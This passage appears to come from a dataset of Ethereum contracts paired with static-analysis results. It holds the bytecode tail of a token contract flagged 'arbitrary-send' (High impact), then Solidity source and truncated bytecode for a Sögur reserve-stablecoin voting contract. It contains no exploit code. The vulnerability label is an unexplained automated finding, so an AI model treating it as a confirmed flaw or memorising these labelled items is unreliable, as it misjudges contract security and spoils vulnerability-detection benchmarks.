1515610f4257600080fd5b6009546040805160ff6101009093049290921615156020830152831515828201526060808352600a908301527f6175746f467265657a65000000000000000000000000000000000000000000006080830152513391600080516020612dde833981519152919081900360a00190a250600980549115156101000261ff0019909216919091179055565b60095460009062010000900460ff1615610fe457600080fd5b600360003360009081526002602052604090205460ff16600381111561100657fe5b11801561103b575080600381111561101a57fe5b3360009081526002602052604090205460ff16600381111561103857fe5b11155b151561104657600080fd5b83600160a060020a038116151561105c57600080fd5b836000811161106a57600080fd5b600160a060020a038616600090815260046020526040902054611093908663ffffffff61253116565b600160a060020a0387166000908152600460205260409020556006546110bf908663ffffffff61253116565b600655604080518681529051600160a060020a03881691600091600080516020612dfe8339815191529181900360200190a360095460ff16801561110a5750600954610100900460ff165b801561111f5750600160a060020a0386163014155b801561113e5750600061113187612490565b600381111561113c57fe5b145b156111c25761114c866124e0565b15156111c257600160a060020a0386166000908152600760205260409020805460ff1916600190811790915560085461118a9163ffffffff61253116565b600855604051600160a060020a038716907faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304990600090a25b604080518681529051600160a060020a038816916000917fab8530f87dc9b59234c4623bf917212bb2536d647574c8e7e5da92c2ede0c9f89181900360200190a350600195945050505050565b60008181811161121e57600080fd5b33600090815260046020526040902054839081111561123c57600080fd5b3360009081526004602052604090205461125c908563ffffffff61254016565b3360009081526004602052604090205560065461127f908563ffffffff61254016565b6006556040805185815290516000913391600080516020612dfe8339815191529181900360200190a36112b1336124e0565b1561131057336000908152600760205260409020805460ff191690556008546112e190600163ffffffff61254016565b60085560405133907f8a56897dfce8680cbcfd8a39fc9a77d55677650ea50712197f14b6fbc7e0677b90600090a25b60408051858152905133917fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5919081900360200190a25060019392505050565b60013360009081526002602052604090205460ff16600381111561137057fe5b1461137a57600080fd5b6001805473ffffffffffffffffffffffffffffffffffffffff19169055565b600d805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610de35780601f10610db857610100808354040283529160200191610de3565b60095460ff1681565b600082600160a060020a038116158015906114315750600160a060020a03811660009081526007602052604090205460ff16155b8061143f575060095460ff16155b151561144a57600080fd5b610e428484612552565b600081600160a060020a038116151561146c57600080fd5b5050600160a060020a031660009081526004602052604090205490565b600f805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610de35780601f10610db857610100808354040283529160200191610de3565b60095462010000900460ff1681565b600154600160a060020a031680151561150b57600080fd5b600154600160a060020a031633811461152357600080fd5b60015460008054604051600160a060020a0393841693909116917f8934ce4adea8d9ce0d714d2c22b86790e41b7731c84b926fbbdc1d40ff6533c991a3600160008054600160a060020a031681526002602052604090205460ff16600381111561158957fe5b14156115b05760008054600160a060020a03168152600260205260409020805460ff191690555b600154600160a060020a031660009081526002602052604081205460ff1660038111156115d957fe5b11156115f7576003546115f390600163ffffffff61254016565b6003555b6001805460008054600160a060020a0380841673ffffffffffffffffffffffffffffffffffffffff19928316178084559190931684559091168152600260205260409020805460ff1916828002179055505050565b600060013360009081526002602052604090205460ff16600381111561166e57fe5b1461167857600080fd5b6009805462ff000019166201000017905560405133907f39b5ca6d4234a87b875f701a848e24d718e9f824d12099eec3c01762383b04ee90600090a250600190565b600360003360009081526002602052604090205460ff1660038111156116dc57fe5b11801561171157508060038111156116f057fe5b3360009081526002602052604090205460ff16600381111561170e57fe5b11155b151561171c57600080fd5b81600160a060020a038116151561173257600080fd5b600160a060020a03831660009081526007602052604090205460ff16156117bf57600160a060020a0383166000908152600760205260409020805460ff1916905560085461178790600163ffffffff61254016565b600855604051600160a060020a038416907f8a56897dfce8680cbcfd8a39fc9a77d55677650ea50712197f14b6fbc7e0677b90600090a25b505050565b600260003360009081526002602052604090205460ff1660038111156117e657fe5b11801561181b57508060038111156117fa57fe5b3360009081526002602052604090205460ff16600381111561181857fe5b11155b151561182657600080fd5b6009546040805160ff90921615156020830152831515828201526060808352600d908301527f667265657a65456e61626c6564000000000000000000000000000000000000006080830152513391600080516020612dde833981519152919081900360a00190a2506009805460ff1916911515919091179055565b60085481565b600e805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610de35780601f10610db857610100808354040283529160200191610de3565b600360003360009081526002602052604090205460ff16600381111561192457fe5b118015611959575080600381111561193857fe5b3360009081526002602052604090205460ff16600381111561195657fe5b11155b151561196457600080fd5b81600160a060020a038116151561197a57600080fd5b82600160a060020a03811630141561199157600080fd5b836001600160a060020a03821660009081526002602052604090205460ff1660038111156119bb57fe5b14156119c657600080fd5b600160a060020a03851660009081526007602052604090205460ff161515611a5857600160a060020a0385166000908152600760205260409020805460ff19166001908117909155600854611a209163ffffffff61253116565b600855604051600160a060020a038616907faf85b60d26151edd11443b704d424da6c43d0468f2235ebae3d1904dbc32304990600090a25b5050505050565b600054600160a060020a031681565b60105460ff1681565b600260003360009081526002602052604090205460ff166003811115611a9957fe5b118015611ace5750806003811115611aad57fe5b3360009081526002602052604090205460ff166003811115611acb57fe5b11155b1515611ad957600080fd5b8360008151111515611aea57600080fd5b8360008151111515611afb57600080fd5b8360008151111515611b0c57600080fd5b8651611b1f90600d9060208a0190612d45565b508551611b3390600e906020890190612d45565b508451611b4790600f906020880190612d45565b5033600160a060020a03167f661ac65f03704ae18172992749e864e6664203c36752b2f6aec840dec016c51a88888860405180806020018060200180602001848103845287818151815260200191508051906020019080838360005b83811015611bbb578181015183820152602001611ba3565b50505050905090810190601f168015611be85780820380516001836020036101000a031916815260200191505b50848103835286518152865160209182019188019080838360005b83811015611c1b578181015183820152602001611c03565b50505050905090810190601f168015611c485780820380516001836020036101000a031916815260200191505b50848103825285518152855160209182019187019080838360005b83811015611c7b578181015183820152602001611c63565b50505050905090810190601f168015611ca85780820380516001836020036101000a031916815260200191505b50965050505050505060405180910390a250505050505050565b600084600160a060020a0381161515611cda57600080fd5b83600160a060020a0381161515611cf057600080fd5b8560008111611cfe57600080fd5b604080517f23b872dd000000000000000000000000000000000000000000000000000000008152600160a060020a038a81166004830152306024830152604482018a90529151889650918616916323b872dd916064808201926020929091908290030181600087803b158015611d7357600080fd5b505af1158015611d87573d6000803e3d6000fd5b505050506040513d6020811015611d9d57600080fd5b50511515611daa57600080fd5b85600160a060020a031688600160a060020a03167f92024e89146e4e864038c547cbb7ec2ec79b189856fa0dedc5aebd1bfb17937689886040518083815260200180602001828103825283818151815260200191508051906020019080838360005b83811015611e24578181015183820152602001611e0c565b50505050905090810190601f168015611e515780820380516001836020036101000a031916815260200191505b50935050505060405180910390a35050505050505050565b600b805460408051602060026001851615610100026000190190941693909304601f81018490048402820184019092528181529291830182828015610de35780601f10610db857610100808354040283529160200191610de3565b600060013360009081526002602052604090205460ff166003811115611ee657fe5b14611ef057600080fd5b6010546040805160ff909216151560208301528315158282015260608083526013908301527f61636365707441646d696e5769746864726177000000000000000000000000006080830152513391600080516020612dde833981519152919081900360a00190a2506010805460ff1916911515919091179055600190565b3360009081526007602052604081205460ff161580611f90575060095460ff16155b1515611f9b57600080fd5b611fa5838361266d565b9392505050565b60006002813360009081526002602052604090205460ff166003811115611fcf57fe5b1180156120045750806003811115611fe357fe5b3360009081526002602052604090205460ff16600381111561200157fe5b11155b151561200f57600080fd5b6010546040805160ff6101009093049290921615156020830152841515828201526060808352600c908301527f616363657074446f6e61746500000000000000000000000000000000000000006080830152513391600080516020612dde833981519152919081900360a00190a2601080548415156101000261ff00199091161790556001915050919050565b60008084600160a060020a03811615156120b557600080fd5b84600081116120c357600080fd5b8692506120d08787610deb565b1561227f576040517f8f4ffcb10000000000000000000000000000000000000000000000000000000081523360048201818152602483018990523060448401819052608060648501908152895160848601528951600160a060020a03891695638f4ffcb195948d94938d939192909160a490910190602085019080838360005b83811015612168578181015183820152602001612150565b50505050905090810190601f1680156121955780820380516001836020036101000a031916815260200191505b5095505050505050600060405180830381600087803b1580156121b757600080fd5b505af11580156121cb573d6000803e3d6000fd5b5050505086600160a060020a03167f4df88a0bc463d1105f5b5e7b0a2e83433ef2058a59573056c6d85ad20f69fc2b87876040518083815260200180602001828103825283818151815260200191508051906020019080838360005b8381101561223f578181015183820152602001612227565b50505050905090810190601f16801561226c5780820380516001836020036101000a031916815260200191505b50935050505060405180910390a2600193505b5050509392505050565b600154600160a060020a031681565b600082600160a060020a038116158015906122cc5750600160a060020a03811660009081526007602052604090205460ff16155b806122da575060095460ff16155b15156122e557600080fd5b610e428484612679565b600082600160a060020a038116151561230757600080fd5b82600160a060020a038116151561231d57600080fd5b505050600160a060020a03918216600090815260056020908152604080832093909416825291909152205490565b60013360009081526002602052604090205460ff16600381111561236b57fe5b1461237557600080fd5b80600160a060020a038116151561238b57600080fd5b816001600160a060020a03821660009081526002602052604090205460ff1660038111156123b557fe5b14156123c057600080fd5b82600160a060020a0381163014156123d757600080fd5b600160a060020a03841660009081526002602052604081205460ff1660038111156123fe57fe5b111561241c5760035461241890600163ffffffff61254016565b6003555b600160a060020a038416600081815260026020526040808220805460ff19169055517fb392249530409099dedf8a34dfe3498cfc2f81a2f80804432221e95cda3717549190a250505050565b601054610100900460ff1681565b612480828261273a565b5050565b61248d816128c9565b50565b600081600160a060020a03811615156124a857600080fd5b82600160a060020a0381163014156124bf57600080fd5b505050600160a060020a031660009081526002602052604090205460ff1690565b600081600160a060020a03811615156124f857600080fd5b5050600160a060020a031660009081526007602052604090205460ff1690565b6000611fa5838361296c565b6000610e42848484612a25565b600082820183811015611fa557fe5b60008282111561254c57fe5b50900390565b60008083600160a060020a038116151561256b57600080fd5b836000811161257957600080fd5b336000908152600560209081526040808320600160a060020a038a1684529091529020549250828511156125d057336000908152600560209081526040808320600160a060020a038a168452909152812055612605565b6125e0838663ffffffff61254016565b336000908152600560209081526040808320600160a060020a038b1684529091529020555b336000818152600560209081526040808320600160a060020a038b168085529083529281902054815190815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a350600195945050505050565b6000611fa58383612c0d565b600082600160a060020a038116151561269157600080fd5b826000811161269f57600080fd5b336000908152600560209081526040808320600160a060020a03891684529091529020546126d3908563ffffffff61253116565b336000818152600560209081526040808320600160a060020a038b168085529083529281902085905580519485525191937f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929081900390910190a3506001949350505050565b60013360009081526002602052604090205460ff16600381111561275a57fe5b1461276457600080fd5b81600160a060020a038116151561277a57600080fd5b826001600160a060020a03821660009081526002602052604090205460ff1660038111156127a457fe5b14156127af57600080fd5b83600160a060020a0381163014156127c657600080fd5b8360008160038111156127d557fe5b1180156127ee57508060038111156127e957fe5b600310155b15156127f957600080fd5b600160a060020a03861660009081526002602052604081205460ff16600381111561282057fe5b141561283e5760035461283a90600163ffffffff61253116565b6003555b600160a060020a0386166000908152600260205260409020805486919060ff1916600183600381111561286d57fe5b021790555085600160a060020a03167f074ffe655755f8e9ed8070a26dfff7bf6b7de4e823685ed4b580ada0b841ed3086604051808260038111156128ae57fe5b60ff16815260200191505060405180910390a2505050505050565b60013360009081526002602052604090205460ff1660038111156128e957fe5b146128f357600080fd5b80600160a060020a038116151561290957600080fd5b81600160a060020a03811630141561292057600080fd5b600054600160a060020a038481169116141561293b57600080fd5b50506001805473ffffffffffffffffffffffffffffffffffffffff1916600160a060020a0392909216919091179055565b600082600160a060020a038116151561298457600080fd5b8215806129b25750336000908152600560209081526040808320600160a060020a0388168452909152902054155b15156129bd57600080fd5b336000818152600560209081526040808320600160a060020a03891680855290835292819020879055805187815290519293927f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925929181900390910190a35060019392505050565b600082600160a060020a0381161515612a3d57600080fd5b84600160a060020a0381161515612a5357600080fd5b8360008111612a6157600080fd5b600160a060020a03871660009081526004602052604090205487908690811115612a8a57600080fd5b600160a060020a03881660009081526004602052604090205488908890612ab7908263ffffffff61253116565b600160a060020a0383166000908152600460205260409020541115612adb57600080fd5b600160a060020a038b166000908152600560209081526040808320338452909152902054891115612b0b57600080fd5b600160a060020a038b16600090815260046020526040902054612b34908a63ffffffff61254016565b600160a060020a03808d1660009081526004602052604080822093909355908c1681522054612b69908a63ffffffff61253116565b600160a060020a03808c16600090815260046020908152604080832094909455918e168152600582528281203382529091522054612bad908a63ffffffff61254016565b600160a060020a03808d1660008181526005602090815260408083203384528252918290209490945580518d81529051928e16939192600080516020612dfe833981519152929181900390910190a35060019a9950505050505050505050565b600082600160a060020a0381161515612c2557600080fd5b8260008111612c3357600080fd5b336000908152600460205260409020548490811115612c5157600080fd5b600160a060020a03861660009081526004602052604090205486908690612c7e908263ffffffff61253116565b600160a060020a0383166000908152600460205260409020541115612ca257600080fd5b33600090815260046020526040902054612cc2908863ffffffff61254016565b3360009081526004602052604080822092909255600160a060020a038a1681522054612cf4908863ffffffff61253116565b600160a060020a0389166000818152600460209081526040918290209390935580518a8152905191923392600080516020612dfe8339815191529281900390910190a3506001979650505050505050565b828054600181600116156101000203166002900490600052602060002090601f016020900481019282601f10612d8657805160ff1916838001178555612db3565b82800160010185558215612db3579182015b82811115612db3578251825591602001919060010190612d98565b50612dbf929150612dc3565b5090565b610e5491905b80821115612dbf5760008155600101612dc9560037719d649d851c9697b183602b8859487914b31559c27a9e1214f7575a66f45cddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3efa165627a7a7230582098e2c1b02d72f6f3bea191be49d7904ca48c8cd9c9dd6e3467fceb2af704bc560029
|
{"success": true, "error": null, "results": {"detectors": [{"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}}
| 5,109 |
0x456e6a811e9338fc8389baaf274e21f45612651b
|
pragma solidity 0.4.25;
// File: contracts/contract_address_locator/interfaces/IContractAddressLocator.sol
/**
* @title Contract Address Locator Interface.
*/
interface IContractAddressLocator {
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) external view returns (address);
/**
* @dev Determine whether or not a contract address relates to one of the identifiers.
* @param _contractAddress The contract address to look for.
* @param _identifiers The identifiers.
* @return A boolean indicating if the contract address relates to one of the identifiers.
*/
function isContractAddressRelates(address _contractAddress, bytes32[] _identifiers) external view returns (bool);
}
// File: contracts/contract_address_locator/ContractAddressLocatorHolder.sol
/**
* @title Contract Address Locator Holder.
* @dev Hold a contract address locator, which maps a unique identifier to every contract address in the system.
* @dev Any contract which inherits from this contract can retrieve the address of any contract in the system.
* @dev Thus, any contract can remain "oblivious" to the replacement of any other contract in the system.
* @dev In addition to that, any function in any contract can be restricted to a specific caller.
*/
contract ContractAddressLocatorHolder {
bytes32 internal constant _IAuthorizationDataSource_ = "IAuthorizationDataSource";
bytes32 internal constant _ISGNConversionManager_ = "ISGNConversionManager" ;
bytes32 internal constant _IModelDataSource_ = "IModelDataSource" ;
bytes32 internal constant _IPaymentHandler_ = "IPaymentHandler" ;
bytes32 internal constant _IPaymentManager_ = "IPaymentManager" ;
bytes32 internal constant _IPaymentQueue_ = "IPaymentQueue" ;
bytes32 internal constant _IReconciliationAdjuster_ = "IReconciliationAdjuster" ;
bytes32 internal constant _IIntervalIterator_ = "IIntervalIterator" ;
bytes32 internal constant _IMintHandler_ = "IMintHandler" ;
bytes32 internal constant _IMintListener_ = "IMintListener" ;
bytes32 internal constant _IMintManager_ = "IMintManager" ;
bytes32 internal constant _IPriceBandCalculator_ = "IPriceBandCalculator" ;
bytes32 internal constant _IModelCalculator_ = "IModelCalculator" ;
bytes32 internal constant _IRedButton_ = "IRedButton" ;
bytes32 internal constant _IReserveManager_ = "IReserveManager" ;
bytes32 internal constant _ISagaExchanger_ = "ISagaExchanger" ;
bytes32 internal constant _ISogurExchanger_ = "ISogurExchanger" ;
bytes32 internal constant _SgnToSgrExchangeInitiator_ = "SgnToSgrExchangeInitiator" ;
bytes32 internal constant _IMonetaryModel_ = "IMonetaryModel" ;
bytes32 internal constant _IMonetaryModelState_ = "IMonetaryModelState" ;
bytes32 internal constant _ISGRAuthorizationManager_ = "ISGRAuthorizationManager";
bytes32 internal constant _ISGRToken_ = "ISGRToken" ;
bytes32 internal constant _ISGRTokenManager_ = "ISGRTokenManager" ;
bytes32 internal constant _ISGRTokenInfo_ = "ISGRTokenInfo" ;
bytes32 internal constant _ISGNAuthorizationManager_ = "ISGNAuthorizationManager";
bytes32 internal constant _ISGNToken_ = "ISGNToken" ;
bytes32 internal constant _ISGNTokenManager_ = "ISGNTokenManager" ;
bytes32 internal constant _IMintingPointTimersManager_ = "IMintingPointTimersManager" ;
bytes32 internal constant _ITradingClasses_ = "ITradingClasses" ;
bytes32 internal constant _IWalletsTradingLimiterValueConverter_ = "IWalletsTLValueConverter" ;
bytes32 internal constant _BuyWalletsTradingDataSource_ = "BuyWalletsTradingDataSource" ;
bytes32 internal constant _SellWalletsTradingDataSource_ = "SellWalletsTradingDataSource" ;
bytes32 internal constant _WalletsTradingLimiter_SGNTokenManager_ = "WalletsTLSGNTokenManager" ;
bytes32 internal constant _BuyWalletsTradingLimiter_SGRTokenManager_ = "BuyWalletsTLSGRTokenManager" ;
bytes32 internal constant _SellWalletsTradingLimiter_SGRTokenManager_ = "SellWalletsTLSGRTokenManager" ;
bytes32 internal constant _IETHConverter_ = "IETHConverter" ;
bytes32 internal constant _ITransactionLimiter_ = "ITransactionLimiter" ;
bytes32 internal constant _ITransactionManager_ = "ITransactionManager" ;
bytes32 internal constant _IRateApprover_ = "IRateApprover" ;
bytes32 internal constant _SGAToSGRInitializer_ = "SGAToSGRInitializer" ;
IContractAddressLocator private contractAddressLocator;
/**
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
*/
constructor(IContractAddressLocator _contractAddressLocator) internal {
require(_contractAddressLocator != address(0), "locator is illegal");
contractAddressLocator = _contractAddressLocator;
}
/**
* @dev Get the contract address locator.
* @return The contract address locator.
*/
function getContractAddressLocator() external view returns (IContractAddressLocator) {
return contractAddressLocator;
}
/**
* @dev Get the contract address mapped to a given identifier.
* @param _identifier The identifier.
* @return The contract address.
*/
function getContractAddress(bytes32 _identifier) internal view returns (address) {
return contractAddressLocator.getContractAddress(_identifier);
}
/**
* @dev Determine whether or not the sender relates to one of the identifiers.
* @param _identifiers The identifiers.
* @return A boolean indicating if the sender relates to one of the identifiers.
*/
function isSenderAddressRelates(bytes32[] _identifiers) internal view returns (bool) {
return contractAddressLocator.isContractAddressRelates(msg.sender, _identifiers);
}
/**
* @dev Verify that the caller is mapped to a given identifier.
* @param _identifier The identifier.
*/
modifier only(bytes32 _identifier) {
require(msg.sender == getContractAddress(_identifier), "caller is illegal");
_;
}
}
// File: contracts/sogur/interfaces/ISGRAuthorizationManager.sol
/**
* @title SGR Authorization Manager Interface.
*/
interface ISGRAuthorizationManager {
/**
* @dev Determine whether or not a user is authorized to buy SGR.
* @param _sender The address of the user.
* @return Authorization status.
*/
function isAuthorizedToBuy(address _sender) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized to sell SGR.
* @param _sender The address of the user.
* @return Authorization status.
*/
function isAuthorizedToSell(address _sender) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized to transfer SGR to another user.
* @param _sender The address of the source user.
* @param _target The address of the target user.
* @return Authorization status.
*/
function isAuthorizedToTransfer(address _sender, address _target) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized to transfer SGR from one user to another user.
* @param _sender The address of the custodian user.
* @param _source The address of the source user.
* @param _target The address of the target user.
* @return Authorization status.
*/
function isAuthorizedToTransferFrom(address _sender, address _source, address _target) external view returns (bool);
/**
* @dev Determine whether or not a user is authorized for public operation.
* @param _sender The address of the user.
* @return Authorization status.
*/
function isAuthorizedForPublicOperation(address _sender) external view returns (bool);
}
// File: contracts/voting/ProposalVoting.sol
/**
* @title Proposal Voting.
*/
contract ProposalVoting is ContractAddressLocatorHolder {
string public constant VERSION = "1.0.0";
string public description;
uint256 public choicesCount;
mapping(address => uint256) public votes;
address[] public voters;
uint256 public startBlock;
uint256 public endBlock;
event ProposalVoteCasted(address indexed voter, uint256 choice);
/*
* @dev Create the contract.
* @param _contractAddressLocator The contract address locator.
* @param _description The voting description.
* @param _startBlock The voting start block.
* @param _endBlock The voting end block.
* @param _choicesCount Choices count.
*/
constructor(IContractAddressLocator _contractAddressLocator, string _description, uint256 _startBlock, uint256 _endBlock, uint256 _choicesCount) ContractAddressLocatorHolder(_contractAddressLocator) public
{
require(_startBlock > block.number, "invalid start block");
require(_endBlock > _startBlock, "invalid end block");
require(_choicesCount <= 4, "invalid choices count");
bytes memory _bytes = bytes(_description);
require(_bytes.length != 0, "invalid empty description");
description = _description;
startBlock = _startBlock;
endBlock = _endBlock;
choicesCount = _choicesCount;
}
/**
* @dev Return the contract which implements the ISGRAuthorizationManager interface.
*/
function getSGRAuthorizationManager() public view returns (ISGRAuthorizationManager) {
return ISGRAuthorizationManager(getContractAddress(_ISGRAuthorizationManager_));
}
/**
* @dev throw if called when not active.
*/
modifier onlyIfActive() {
require(isActive(), "voting proposal not active");
_;
}
/**
* @dev throw if called when user already voted.
*/
modifier onlyIfUserVoteAbsent() {
require(votes[msg.sender] == 0, "voting proposal already voted");
_;
}
/**
* @dev throw if called with invalid choice index.
*/
modifier onlyIfValidChoiceIndex(uint256 _choiceIndex) {
require(_choiceIndex < choicesCount, "invalid voting choice index");
_;
}
/**
* @dev throw if called when user is not authorized.
*/
modifier onlyIfAuthorizedUser() {
ISGRAuthorizationManager sgrAuthorizationManager = getSGRAuthorizationManager();
bool senderIsAuthorized = sgrAuthorizationManager.isAuthorizedForPublicOperation(msg.sender);
require(senderIsAuthorized, "user is not authorized");
_;
}
/**
* @dev Is active.
* @return is voting active.
*/
function isActive() public view returns (bool) {
uint256 currentBlockNumber = block.number;
return currentBlockNumber >= startBlock && currentBlockNumber <= endBlock;
}
/**
* @dev Get total voters count .
* @return total voters count.
*/
function getTotalVoters() external view returns (uint256) {
return voters.length;
}
/**
* @dev Get voters range.
* @return voters range.
*/
function getVotersRange(uint256 _startIndex, uint256 _count) external view returns (address[] memory) {
uint256 rangeCount = _count;
if (rangeCount > voters.length - _startIndex) {
rangeCount = voters.length - _startIndex;
}
address[] memory rangeVoters = new address[](rangeCount);
for (uint256 i = 0; i < rangeCount; i++) {
rangeVoters[i] = voters[_startIndex + i];
}
return rangeVoters;
}
/**
* @dev Get all voters.
* @return all voters.
*/
function getAllVoters() external view returns (address[] memory) {
return voters;
}
/**
* @dev Cast a vote.
* @param _choiceIndex the vote choice index.
*/
function castVote(uint256 _choiceIndex) internal onlyIfActive onlyIfUserVoteAbsent onlyIfValidChoiceIndex(_choiceIndex) onlyIfAuthorizedUser
{
uint256 base1ChoiceIndex = _choiceIndex + 1;
address sender = msg.sender;
votes[sender] = base1ChoiceIndex;
voters.push(sender);
emit ProposalVoteCasted(sender, base1ChoiceIndex);
}
}
// File: contracts/voting/ReservePortionUSDCoinTypeProposalVoting.sol
contract ReservePortionUSDCoinTypeProposalVoting is ProposalVoting {
string[4] public choices = ["USD Coin", "Tether", "Paxos Standard", "TrueUSD"];
constructor(IContractAddressLocator _contractAddressLocator) ProposalVoting(_contractAddressLocator, "Proposal of determining in which USD stable coin Sögur will hold a portion of its reserve", 11236000, 11275000, 4) public {}
function voteUSDCoin() public
{
castVote(0);
}
function voteTether() public
{
castVote(1);
}
function votePaxosStandard() public
{
castVote(2);
}
function voteTrueUSD() public
{
castVote(3);
}
}
|
0x6080604052600436106100fc576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff1680630224555b14610101578063083c6323146101185780631ddfc18f1461014357806322f3e2d41461015a57806328e34d941461018957806335bbe70e146101e057806348cd4cb11461024c5780636cc6d13d146102775780637284e4161461028e57806374f1649a1461031e57806376351e7d14610375578063793cf2181461038c5780638554fbab146103b7578063d8bff5a5146103e2578063da58c7d914610439578063dd65db4c146104a6578063f6fd7fde14610532578063ffa1ad74146105d8575b600080fd5b34801561010d57600080fd5b50610116610668565b005b34801561012457600080fd5b5061012d610674565b6040518082815260200191505060405180910390f35b34801561014f57600080fd5b5061015861067a565b005b34801561016657600080fd5b5061016f610686565b604051808215151515815260200191505060405180910390f35b34801561019557600080fd5b5061019e6106a6565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156101ec57600080fd5b506101f56106d6565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561023857808201518184015260208101905061021d565b505050509050019250505060405180910390f35b34801561025857600080fd5b50610261610764565b6040518082815260200191505060405180910390f35b34801561028357600080fd5b5061028c61076a565b005b34801561029a57600080fd5b506102a3610776565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156102e35780820151818401526020810190506102c8565b50505050905090810190601f1680156103105780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b34801561032a57600080fd5b50610333610814565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34801561038157600080fd5b5061038a61083d565b005b34801561039857600080fd5b506103a1610849565b6040518082815260200191505060405180910390f35b3480156103c357600080fd5b506103cc610856565b6040518082815260200191505060405180910390f35b3480156103ee57600080fd5b50610423600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919050505061085c565b6040518082815260200191505060405180910390f35b34801561044557600080fd5b5061046460048036038101908080359060200190929190505050610874565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b3480156104b257600080fd5b506104db60048036038101908080359060200190929190803590602001909291905050506108b2565b6040518080602001828103825283818151815260200191508051906020019060200280838360005b8381101561051e578082015181840152602081019050610503565b505050509050019250505060405180910390f35b34801561053e57600080fd5b5061055d600480360381019080803590602001909291905050506109b5565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561059d578082015181840152602081019050610582565b50505050905090810190601f1680156105ca5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b3480156105e457600080fd5b506105ed610a67565b6040518080602001828103825283818151815260200191508051906020019080838360005b8381101561062d578082015181840152602081019050610612565b50505050905090810190601f16801561065a5780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6106726002610aa0565b565b60065481565b6106846003610aa0565b565b60008043905060055481101580156106a057506006548111155b91505090565b60006106d17f49534752417574686f72697a6174696f6e4d616e616765720000000000000000610eb3565b905090565b6060600480548060200260200160405190810160405280929190818152602001828054801561075a57602002820191906000526020600020905b8160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019060010190808311610710575b5050505050905090565b60055481565b6107746000610aa0565b565b60018054600181600116156101000203166002900480601f01602080910402602001604051908101604052809291908181526020018280546001816001161561010002031660029004801561080c5780601f106107e15761010080835404028352916020019161080c565b820191906000526020600020905b8154815290600101906020018083116107ef57829003601f168201915b505050505081565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b6108476001610aa0565b565b6000600480549050905090565b60025481565b60036020528060005260406000206000915090505481565b60048181548110151561088357fe5b906000526020600020016000915054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b606060006060600084925085600480549050038311156108d757856004805490500392505b826040519080825280602002602001820160405280156109065781602001602082028038833980820191505090505b509150600090505b828110156109a957600481870181548110151561092757fe5b9060005260206000200160009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16828281518110151561096057fe5b9060200190602002019073ffffffffffffffffffffffffffffffffffffffff16908173ffffffffffffffffffffffffffffffffffffffff1681525050808060010191505061090e565b81935050505092915050565b6007816004811015156109c457fe5b016000915090508054600181600116156101000203166002900480601f016020809104026020016040519081016040528092919081815260200182805460018160011615610100020316600290048015610a5f5780601f10610a3457610100808354040283529160200191610a5f565b820191906000526020600020905b815481529060010190602001808311610a4257829003601f168201915b505050505081565b6040805190810160405280600581526020017f312e302e3000000000000000000000000000000000000000000000000000000081525081565b600080610aab610686565b1515610b1f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601a8152602001807f766f74696e672070726f706f73616c206e6f742061637469766500000000000081525060200191505060405180910390fd5b6000600360003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054141515610bd6576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601d8152602001807f766f74696e672070726f706f73616c20616c726561647920766f74656400000081525060200191505060405180910390fd5b8260025481101515610c50576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040180806020018281038252601b8152602001807f696e76616c696420766f74696e672063686f69636520696e646578000000000081525060200191505060405180910390fd5b600080610c5b6106a6565b91508173ffffffffffffffffffffffffffffffffffffffff16637916910e336040518263ffffffff167c0100000000000000000000000000000000000000000000000000000000028152600401808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001915050602060405180830381600087803b158015610cf857600080fd5b505af1158015610d0c573d6000803e3d6000fd5b505050506040513d6020811015610d2257600080fd5b81019080805190602001909291905050509050801515610daa576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004018080602001828103825260168152602001807f75736572206973206e6f7420617574686f72697a65640000000000000000000081525060200191505060405180910390fd5b60018601945033935084600360008673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555060048490806001815401808255809150509060018203906000526020600020016000909192909190916101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550508373ffffffffffffffffffffffffffffffffffffffff167f408e3f5bb3f1f74e0375b728b2ff379a7d8d213c48d7223776e0ee11c49914a1866040518082